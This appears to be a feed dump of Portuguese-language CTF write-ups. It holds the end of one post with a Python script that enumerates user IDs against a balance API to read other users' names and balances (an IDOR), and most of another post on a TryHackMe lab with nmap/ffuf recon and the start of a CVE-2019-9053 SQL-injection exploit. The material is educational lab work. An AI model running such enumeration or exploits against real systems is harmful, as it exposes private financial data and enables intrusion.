&lt;p&gt;Por fim, resta apenas a última questão sobre o saldo do usuário perik_lin, mas para isso é necessário entender a lógica de como funciona o range do id dos usuários e assim ter a possibilidade de enumeração até nosso perik. Um ponto é que poderia tentar acessar o endpoint /accounts da api, que teoricamente listaria todos os usuários e suas respectivas informações,  no entanto, a mesma não está acessível aos meros mortais e dando assim o temido erro 404.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; &lt;span class="s2"&gt;"/accounts/{accountId}/transactions"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="s2"&gt;"get"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="s2"&gt;"summary"&lt;/span&gt;: &lt;span class="s2"&gt;"List account transactions"&lt;/span&gt;,
        &lt;span class="s2"&gt;"responses"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s2"&gt;"200"&lt;/span&gt;: &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="s2"&gt;"description"&lt;/span&gt;: &lt;span class="s2"&gt;"Transaction list"&lt;/span&gt;
          &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
      &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;,
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ra02hxfaj2frm9cnj5w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ra02hxfaj2frm9cnj5w.png" alt="/api/accounts" width="800" height="390"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Mas no endpoint /transactions é possível ter uma dimensão dos ids e o range desses user_id através das transações que foram feitas.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9sc8c60a1w0wwqhnotr2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9sc8c60a1w0wwqhnotr2.png" alt="/api/transactions" width="800" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A resposta para a última pergunta está no endpoint /api/balance, no qual a partir do parâmetro user_id, podemos testar qualquer número inteiro e ter acesso ao nome e saldo da pessoa.&lt;br&gt;
Para facilitar o trabalho, a IA tornou o processo mais prático, tendo em vista o tamanho do range e ajudou a desenvolver um script em python para automatizar o processo e ter acesso ao saldo da última pergunta.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fge6vfnsllrjl2ef1c3qd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fge6vfnsllrjl2ef1c3qd.png" alt="/api" width="800" height="449"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Script
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;import requests
import json

COOKIE &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"biscoitos_da_sessão"&lt;/span&gt;
URL &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"https://harpia-tech.site/api/balance"&lt;/span&gt;

headers &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="s2"&gt;"Cookie"&lt;/span&gt;: f&lt;span class="s2"&gt;"connect.sid={COOKIE}"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Content-Type"&lt;/span&gt;: &lt;span class="s2"&gt;"application/json"&lt;/span&gt;,
    &lt;span class="s2"&gt;"Accept"&lt;/span&gt;: &lt;span class="s2"&gt;"application/json"&lt;/span&gt;,
    &lt;span class="s2"&gt;"User-Agent"&lt;/span&gt;: &lt;span class="s2"&gt;"TudoNossoNadaDeles/5.0"&lt;/span&gt;,
&lt;span class="o"&gt;}&lt;/span&gt;

def main&lt;span class="o"&gt;()&lt;/span&gt;:
    &lt;span class="k"&gt;for &lt;/span&gt;uid &lt;span class="k"&gt;in &lt;/span&gt;range&lt;span class="o"&gt;(&lt;/span&gt;1, 1001&lt;span class="o"&gt;)&lt;/span&gt;:  
        try:
            resp &lt;span class="o"&gt;=&lt;/span&gt; requests.post&lt;span class="o"&gt;(&lt;/span&gt;URL, &lt;span class="nv"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;headers, &lt;span class="nv"&gt;json&lt;/span&gt;&lt;span class="o"&gt;={&lt;/span&gt;&lt;span class="s2"&gt;"user_id"&lt;/span&gt;: str&lt;span class="o"&gt;(&lt;/span&gt;uid&lt;span class="o"&gt;)}&lt;/span&gt;, &lt;span class="nb"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10&lt;span class="o"&gt;)&lt;/span&gt;

            &lt;span class="k"&gt;if &lt;/span&gt;resp.status_code &lt;span class="o"&gt;==&lt;/span&gt; 200:
                data &lt;span class="o"&gt;=&lt;/span&gt; resp.json&lt;span class="o"&gt;()&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;"error"&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;data:
                    print&lt;span class="o"&gt;(&lt;/span&gt;f&lt;span class="s2"&gt;"[{uid}]  {data['error']}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;else&lt;/span&gt;:
                    msg &lt;span class="o"&gt;=&lt;/span&gt; data.get&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"message"&lt;/span&gt;, &lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                    bal &lt;span class="o"&gt;=&lt;/span&gt; data.get&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"balance"&lt;/span&gt;, &lt;span class="s2"&gt;"?"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                    print&lt;span class="o"&gt;(&lt;/span&gt;f&lt;span class="s2"&gt;"[{uid}]  {msg} | Saldo: {bal}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;"perik_lin"&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;msg.lower&lt;span class="o"&gt;()&lt;/span&gt;: 
                        print&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt; Encontrado o usuário Perik Lin!"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                        print&lt;span class="o"&gt;(&lt;/span&gt;f&lt;span class="s2"&gt;"UserID: {uid} | Saldo: {bal}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                        &lt;span class="nb"&gt;break
            &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;:
                print&lt;span class="o"&gt;(&lt;/span&gt;f&lt;span class="s2"&gt;"[{uid}]  HTTP {resp.status_code}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

        except Exception as e:
            print&lt;span class="o"&gt;(&lt;/span&gt;f&lt;span class="s2"&gt;"[{uid}] Erro: {e}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;__name__ &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;"__main__"&lt;/span&gt;:
    main&lt;span class="o"&gt;()&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;e a mágica aconteceu:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1es3vqu0hv0qjhw20w5x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1es3vqu0hv0qjhw20w5x.png" alt="perik_lin" width="443" height="93"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;O desafio foi bem interessante, acredito que se pode construir e dar uma margem de aprendizado bem bacana em volta de recon. Vale bastante a revisão através de laboratórios do HackTheBox e TryHackMe, que ajudam bastante no aprendizado e seguir sempre nessa jornada de conhecimento. Se não conseguiu, está tudo bem, a primeira vez que realizei o desafio da Tempest, não tinha resolvido também e fiquei bastante abalada com meu pouco conhecimento, mas decidi que iria melhorar e resolver o teste específico e assim foi, aqui estou eu  fazendo um write up sobre  isso ;) , mas não significa que deixei de ter pouco conhecimento, ainda tenho muito o que aprender hihi. Não estou aqui para te dizer o que é certo ou errado nessa caminhada, porque também sou uma iniciante, mas jamais desista, é muito importante ter resiliência e disciplina. &lt;/p&gt;

&lt;p&gt;Até a próxima pessoal.&lt;/p&gt;

</description>
      <category>learning</category>
      <category>linux</category>
      <category>python</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Easy CTF - Uma breve jornada de exploração com base no modelo OSI</title>
      <dc:creator>Obtuosa</dc:creator>
      <pubDate>Sat, 23 Nov 2024 12:51:05 +0000</pubDate>
      <link>https://forem.com/obtuosa/easy-ctf-uma-breve-jornada-de-exploracao-com-base-no-modelo-osi-52ca</link>
      <guid>https://forem.com/obtuosa/easy-ctf-uma-breve-jornada-de-exploracao-com-base-no-modelo-osi-52ca</guid>
      <description>&lt;p&gt;Quando se está estudando sobre fundamentos de redes, entendendo sobre o modelo OSI, arquitetura TCP/IP e etc., na mente fica o grande questionamento de como assimilar esses conceitos no cotidiano ou pelo menos de uma forma clara sobre seu funcionamento . E é por isso que esse texto irá trabalhar com essa assimilação usando a máquina &lt;a href="https://tryhackme.com/r/room/easyctf" rel="noopener noreferrer"&gt;&lt;strong&gt;Easy CTF&lt;/strong&gt;&lt;/a&gt;, uma simples lab, que nesse momento irá ajudar a trabalhar um pouco sobre como operam as camadas e as interações que ocorrem entre elas no modelo OSI.&lt;/p&gt;

&lt;p&gt;Antes de iniciar com a máquina, alguns conceitos precisam ser relembrados, ainda que de maneira breve, mas para reforçar o que se propõe esse pequeno laboratório.&lt;/p&gt;




&lt;h2&gt;
  
  
  Introdução à Rede de Computadores
&lt;/h2&gt;

&lt;p&gt;Rede de computadores são basicamente dispositivos interligados que trocam informações entre si. Nesse sentido, a rede é construída por dois aspectos principais: Conexão física e Conexão Lógica.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Conexão Física: A infraestrutura física que realiza a conexão dos dispositivos. Exemplos: cabos, fios, roteadores, etc.&lt;/li&gt;
&lt;li&gt;Conexão Lógica: Aqui seria o caminho que é estabelecido entre esses dispositivos para que ocorra essa comunicação, o transporte desses dados. Nesse aspecto, não é dependente dessa infraestrutura física, porque é com os dispositivos são configurados que ocorre essa comunicação entre si. Exemplos: protocolos, endereços IP, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Para que essa comunicação ocorra é necessário regras, de maneira mais direta: &lt;strong&gt;protocolos&lt;/strong&gt;. Seria uma completa bagunça se não houvessem convenções e regras para definir como o seu dispositivo se comunique, por exemplo, com o servidor da &lt;strong&gt;Google&lt;/strong&gt; e fosse possível acessar a página principal. Então, é fundamental o formato, sequência, como os dados são trocados, etc, para que seja possível processar as informações corretamente, de maneira eficiente e sem erros. Alem disso, existem diversos tipos de redes, que são classificados de acordo com o alcance geográfico e arquitetura, como por exemplo: LAN (Local Area Network) que seria uma rede pequena, mais local, como casa, escritório, etc., e  MAN (Metropolitan Area Network) uma rede maior que a LAN para  campus universitário, cidade, etc.&lt;/p&gt;

&lt;p&gt;Em rede de computadores existem dois modelos bastante comuns de comunicação: Peer-to-Peer (P2P) e Client-Server. Existem outros, mas não serão o foco.&lt;/p&gt;

&lt;h3&gt;
  
  
  Peer-to-Peer (P2P)
&lt;/h3&gt;

&lt;p&gt;No modelo ponto a ponto os dispositivos da rede possuem funções iguais.  Cada um pode atuar como cliente ou como servidor Não se tem um controle centralizado sobre os recursos que são compartilhados e qualquer dispositivo pode compartilhar seus recursos. Exemplo: Torrent.&lt;/p&gt;

&lt;h3&gt;
  
  
  Client-Server
&lt;/h3&gt;

&lt;p&gt;No modelo cliente-servidor a rede é construída entre cliente e servidores. No qual, o cliente (computador) solicita um tipo de serviço ou recurso ao servidor. Exemplo disso é o ato de navegar pela web.&lt;/p&gt;




&lt;h2&gt;
  
  
  Modelo OSI
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8jszegsha9kwh9wcrg6g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8jszegsha9kwh9wcrg6g.png" alt="OSI Model" width="800" height="600"&gt;&lt;/a&gt;&lt;br&gt;
O modelo OSI (Open Systems Interconnection) é um modelo conceitual com propósito de compreender como ocorre a comunicação em rede de computadores e é dividida em 7 camadas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Camada 1 - Física&lt;/strong&gt; tem o objetivo de realizar a transmissão física de dados através de cabos e sinais elétricos. Exemplos: Conexões fibra óptica e Cabos Ethernet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Camada 2 - Enlace&lt;/strong&gt; seria o fiscal da transmissão desses dados, para que não ocorra erros entre os dispositivos conectados. Exemplos: Ethernet e Wi-Fi.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Camada 3 - Rede&lt;/strong&gt; é como o remetente e o destinatário, através do endereço de IP determina o caminho que os dados seguem entre os dispositivos. Exemplos: Protocolos IP e Roteadores.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Camada 4 - Transporte&lt;/strong&gt; como o próprio nome diz é o que garante o envio e o recebimento desses dados da camada três. Exemplos: TCP e UDP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Camada 5 - Sessão&lt;/strong&gt; tem como função estabelecer e também encerrar a conexões entre aplicações. Exemplos: SSH e SCP.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Camada 6 - Apresentação&lt;/strong&gt; realize a formatação dos dados, para que possa ser compreendida pela camada superior. Exemplos: SSL/TLS e JPEG.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Camada 7 - Aplicação&lt;/strong&gt; oferece serviços e as interfaces para as aplicações dos usuários. Essa é a camada mais próxima do usuário. Exemplos: HTTP e HTTPS.
O proposito desse modelo é ajudar na padronização, ser uma referência teórica e contribuir para o entendimento sobre a interação entre os componentes de uma rede e assim facilitando a resolução de possíveis problemas.&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  Início da jornada
&lt;/h2&gt;
&lt;h3&gt;
  
  
  Reconhecimento
&lt;/h3&gt;

&lt;p&gt;O reconhecimento inicial é o passo mais importante, porque assim terá não só conhecimento sobre o alvo, mas também a maneira como será operado os primeiros passos para suceder um comprometimento inicial e acesso a informações importantes. Para além disso, é a etapa que sempre estará presente, mesmo após obter sucesso, sempre haverá um novo reconhecimento para ser feito de acordo com a elevação dos passos dados pelo invasor. Além disso, reconhecimento foi bastante retratado no texto &lt;a href="https://dev.to/obtuosa/maquina-valley-do-tryhackme-e-o-ciclo-de-vida-de-um-ciberataque-mp6"&gt;&lt;strong&gt;Máquina Valley do TryHackMe e o ciclo de vida de um ciberataque&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Como já foi trabalhado de maneira breve sobre o que seria a camada 7, este é o primeiro contato com o alvo e é a camada mais próxima do usuário. A primeira visão dada é de uma página padrão do Apache2, apesar de não ter um conteúdo mais personalizado no que tange ao front-end é possível retirar algumas informações sobre esse servidor web, que utiliza o protocolo HTTP, nesse caso já teria uma possível falha, pois as solicitações e respostas são HTTP, ou seja, essas comunicações são realizadas em texto simples e não existe uma criptografia do que está sendo solicitado, algo que os protocolos de segurança TLS/SSL ajudariam bastante e apesar serem protocolos característicos da Camada de Apresentação, também é implementado em conjunto com os protocolos da Camada de Aplicação.&lt;br&gt;
Outro ponto interessante é a estrutura do Apache apresentada:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;O arquivo principal presente no diretório: /etc/apache2/apache2.conf. &lt;/li&gt;
&lt;li&gt;A configuração de portas: /etc/apache2/ports.conf.&lt;/li&gt;
&lt;li&gt;Além de diretórios para os módulos,configurações globais, etc.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff501b5xwnyz3eqjok3do.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ff501b5xwnyz3eqjok3do.png" alt="Apache2 Ubuntu Default Page" width="800" height="545"&gt;&lt;/a&gt;&lt;br&gt;
Nesse processo duas ferramentas foram muito importantes, o primeiro é o &lt;strong&gt;nmap&lt;/strong&gt;, para o escaneamento de portas, e o segundo é o &lt;strong&gt;ffuf&lt;/strong&gt; para buscar diretórios.&lt;/p&gt;
&lt;h3&gt;
  
  
  Nmap
&lt;/h3&gt;

&lt;p&gt;O escaneamento de portas com a ferramenta Nmap envolve três camadas importantes. O primeiro, pensando na perspectiva do usuário é de aplicação, porque a flag  &lt;strong&gt;-sV&lt;/strong&gt; realiza uma interação com a camada 7, pois o nmap envia pacotes específicos para interagir com os protocolos dessa camada e assim possibilitar a identificação das informações necessárias sobre esses serviços em execução. Enquanto na camada de Transporte, esse processo de escaneamento utiliza protocolo TCP, a ideia é compreender como essa comunicação de identificação de serviços funcionam e o conceito por trás dos protocolos, pois é através dessa entrega de pacotes e as informações fornecidas, que é possível reconhecer as portas que estão abertas. Na camada de Rede,  essa troca acontece com o endereço IP, para que possa ser enviado esses pacotes ao servidor web alvo.&lt;br&gt;
Além disso, você consegue obter duas respostas para as duas primeiras perguntas do desafio do Simple CTF:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How many services are running under port 1000?&lt;/li&gt;
&lt;li&gt;What is running on the higher port?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo6dqt7o6mcsojuxkz81f.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo6dqt7o6mcsojuxkz81f.png" alt="Nmap" width="800" height="448"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 1-3000 &lt;span class="o"&gt;[&lt;/span&gt;IP-ALVO]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  ffuf
&lt;/h4&gt;

&lt;p&gt;O ffuf tem foco principal na camada de aplicação, porque utiliza do protocolo HTTP ou HTTPS para realizar requisições ao servidor web e assim encontrar diretórios ou arquivos, mas não é uma exclusividade esse foco com a camada de aplicação, pois o mesmo também interage com outras camadas, para que assim ocorra seu funcionamento e vasculhar por qualquer vestígio de informações. Com ele é possível encontrar o diretório &lt;strong&gt;/simple&lt;/strong&gt; e ter acesso a informações sobre o  &lt;strong&gt;CVE 2019-9053&lt;/strong&gt; que é o estopim para ter um comprometimento inicial do servidor web. Mas, vale lembrar que as requisições HTTP do ffuf dependem do protocolo TCP, ou seja, temos aqui mais uma vez a camada de transporte presente, porque é estabelecida uma conexão confiável entre o cliente-servidor. Caso essa conexão fosse realizada pelo protocolo UDP, seria um problema, pois o mesmo não tem a garantia de entrega dos dados que são enviados. Assim como no nmap, o endereço IP também é usado para endereçar os pacotes que são enviados ao servidor e de encontro com a camada de rede. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmbz84puuimbg30sreymh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmbz84puuimbg30sreymh.png" alt="ffuf" width="800" height="329"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Diretório /simple
&lt;/h3&gt;

&lt;p&gt;No diretório &lt;strong&gt;/simple&lt;/strong&gt; é possível observar que utiliza o &lt;strong&gt;CMS Made Simple&lt;/strong&gt;(CMSMS) para gerenciar o conteúdo, basicamente o objetivo é criar e gerenciar os sites da web de maneira mais simples e eficiente. No entanto, o fato de não atualizarem o sistema impactou diretamente na segurança do website e com uma busca simples pelo google é possível encontrar o &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2019-9053" rel="noopener noreferrer"&gt;&lt;strong&gt;CVE 2019-9053&lt;/strong&gt;&lt;/a&gt;. CVE é um sistema de padronização que possibilita identificar e catalogar vulnerabilidades e exposições de segurança e é através desse catálogo que é possível encontrar um exploit no &lt;a href="https://www.exploit-db.com/exploits/46635" rel="noopener noreferrer"&gt;&lt;strong&gt;exploit-db&lt;/strong&gt;&lt;/a&gt;, que é basicamente um repositório público de exploits para acessar vulnerabilidades.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftybcbzi1eybpb9ccomfi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftybcbzi1eybpb9ccomfi.png" alt="CMS Made Simple" width="800" height="503"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxvf5aeyegkw8l3szkobi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxvf5aeyegkw8l3szkobi.png" alt="Exploit-db" width="800" height="517"&gt;&lt;/a&gt;&lt;br&gt;
Esse exploit é um SQL Injection que coloca comandos maliciosos em uma consulta do banco de dados SQL e poder manipular para ter acesso a principalmente credenciais, além das possibilidades de alterar as informações presentes naquele banco de dados, realizar escalonamento de privilégios, criação de novos usuários e diversas possibilidades. Esse exploit afeta justamente versões abaixo do 2.2.10 do CMS Made Simple.&lt;/p&gt;


&lt;h3&gt;
  
  
  Exploit 46635.py
&lt;/h3&gt;
&lt;h3&gt;
  
  
  Módulos
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;termcolor&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;colored&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;termcolor&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;cprint&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;optparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Este exploit utiliza de alguns módulos para que possa ter um bom funcionamento:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;requests&lt;/strong&gt;: O objetivo desse módulo é permitir mais praticidade para enviar pedidos HTTP/1.1. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;colored&lt;/strong&gt; e &lt;strong&gt;cprint&lt;/strong&gt;: O termcolor tem o propósito de realizar uma formatação de cores ANSI para o output do terminal. O que torna a interface mais agradável.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;time&lt;/strong&gt;: Este módulo fornece as diversas funções relacionadas ao tempo. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;optparse&lt;/strong&gt;: Uma biblioteca que lida com as linhas de comandos necessárias para realiza configurações desse exploit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;hashlib&lt;/strong&gt;: Essa lib tem principal foco calcular as hashes.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;
  
  
  Definição de Argumentos do Parser
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;optparse&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;OptionParser&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;add_option&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;-u&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;--url&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;store&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;url&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;help&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Base target uri (ex. http://10.10.10.100/cms)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
